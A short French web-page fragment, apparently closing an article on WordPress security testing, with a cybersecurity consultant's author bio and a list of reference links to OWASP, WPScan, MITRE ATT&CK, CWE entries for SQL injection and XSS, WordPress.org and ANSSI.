Ressources et Références Officielles
Documentations officielles, outils reconnus et ressources de la communauté
Ayi NEDJIMI
Expert en Cybersécurité & Intelligence Artificielle
Consultant senior avec plus de 15 ans d'expérience en sécurité offensive, audit d'infrastructure et développement de solutions IA. Certifié OSCP, CISSP, ISO 27001 Lead Auditor et ISO 42001 Lead Implementer. Intervient sur des missions de pentest Active Directory, sécurité Cloud et conformité réglementaire pour des grands comptes et ETI.
Références et ressources externes
- OWASP WordPress Security Testing Guide — Guide de référence pour les tests de sécurité WordPress
- WPScan.com — Base de données de vulnérabilités WordPress et scanner open source
- MITRE ATT&CK T1190 — Exploit Public-Facing Application
- CWE-89 — SQL Injection — classification des faiblesses d'injection SQL
- CWE-79 — Cross-site Scripting (XSS) — classification des faiblesses XSS
- WordPress.org/security — Page officielle de sécurité WordPress
- ANSSI - Bonnes pratiques — Recommandations de l'ANSSI pour la sécurisation des systèmes